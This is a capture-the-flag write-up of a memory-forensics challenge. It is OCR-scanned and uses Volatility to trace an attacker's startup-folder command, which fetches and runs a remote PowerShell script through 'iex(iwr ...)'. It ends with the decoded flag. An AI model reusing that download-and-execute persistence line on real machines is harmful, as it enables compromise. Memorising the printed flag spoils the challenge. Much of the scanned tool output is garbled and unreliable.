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Challenge

Forensics

P Export [by felamos] [62 solvers] 23 ufy Difficulty: |||I.,, (: ] 18/11/2020 A
HTB-Bot

We spotted a suspicious connection to one of our servers, and immediately took a memory dump. Can you figure out what the attackers

were up to?

‘ ."’, Download Zip Password: hackthebox sha256: 8ea5363cdlee973dedf5d1853f4dde4a8d25f1e701e34100e0e702fb85db1796

This PC » WDBIlue (D:) » HTB » Solved » Export
A
]
= i
export.zip WIN-LQS1460E2
S$1-20201027-14
2607 .raw

To view the memory dump, | used a tool called Volatility

https://cqureacademy.com/blog/hacks/memory-dump-analysis

https://github.com/volatilityfoundation/volatility/blob/master/vol.py

https://www.volatilityfoundation.org/26

The first thing | did was find the information for the image using imageinfo


https://cqureacademy.com/blog/hacks/memory-dump-analysis
https://github.com/volatilityfoundation/volatility/blob/master/vol.py
https://www.volatilityfoundation.org/26

Windows PowerShell

07.raw  imageinto

[Volatility Foundation Volatility Framew
IN volatility.debug Determining profile based on KDBG search..
suggested Profile(s) : Win7SP1x64, Win7SPex64, Win2@@8R25POx64, Win20@8R2SP1x64_23418, Win2008R2SP1x64, Win7SPix64_23418
AS Layerl : WindowsAMD64Paged (Kernel AS)
Layer2 : FileAddressSpac \ \Solved\Export\WIN- ) -20201027-142607.raw)
PAE type :
DTB : @xl187@eeeL

KDBG : @xf 1a54@a0L

Number of Processors @ 1

Image Type (Service Pack) : 1
KPCR for CPU @ : oxfffffs
KUSER_SHARED DATA : exfffff7 4]
Image date and time : 2020-1@-27 14:26:09 UTC+0000
Image local date and time : 2@20-10-27 1 )9 +0530
PS D:\HTB\Solved\Export>

What | need from this is the profile.

Quick note, the PS version does not seem to like -p as an option and | needed to
use —profile= instead.

Using this profile, | then used the pslist plugin to dump the list of processes

. \WIN- 6 -
n volatility Framew
Name Wow64

) wininit.exe
9e370 CSrss.exe
2e4a@ winl
20b30 s
5eb3e

ob3e
dd2be

g180b3e
97b3e
81csb3e
24ba1y
8276b30

=

3
3
3

dllhost.exe
msdtc.exe
WmMiPrvsE.exe

14:
) dwm. exe 141: 1 @ 20: 14:
) explorer.exe

vm3dservice.ex 10 1 g 20 14:
vmt .ex 1 1 1 2 26 14

TrustedInstall
md.exe 1648 1 8 1 @ 20: 14:
84bbebe conhost.exe 1 1 2 20: 14:
DumpIt.exe 2004 1 1 28: 14

60 conhost.exe 1796

ved\Export>




There are a couple things that could be useful here, but in this case | will focus on
the cmd.exe process.

Using the cmdscan plugin, | was able to find a script saving to the startup folder
that downloads a ps1 file from the internet... Definitely abnormal.

<64 cmdscan

MUNTXZNIP

=lnew1
1 echo iex(iwr "h t ). ) > C:\Users\user\AppData\Roaming\Microsoft

\Windows\Start Menu\Programs\Startup\

Of interest now is the URL.

| decoded the URL so | can deal with it a little better

Decode from URL-encoded format

Simply enter your data then push the decode button.

http%3A%2F %2Fbit.ly%2FSFRCe1cx TmQwd3NfZjByM05zMUNTXzNIP30%3D .ps 1

@ For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.
UTF-8 “ Source character set.

Decode each line separately (useful for when you have multiple entries).

Q@ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

m Decodes your data into the area below.

http://bit.ly/SFRCe1cxTmQwd3NfZjByM05zMUNTXzNIP30=.ps1



Seeing the = at the end of the string makes me assume base64 encoding, so | tried
decoding it

Decode from Base64 format

Simply enter your data then push the decode button.

SFRCe1exTmQwd3NTZjByM05zMUNTXzNIP30=

© For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.
UTE-8 ~ Source character set.
(] Decode each line separately (useful for when you have multiple entries).

@ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

(Gl ] ole]] MDA Decodes your data into the area below.

HTB{W1NdOws_fOr3Ns1CS_3H?}

And there’s our flag!

Flag

HTB{W1NdOws_fOr3Ns1CS_3H?}



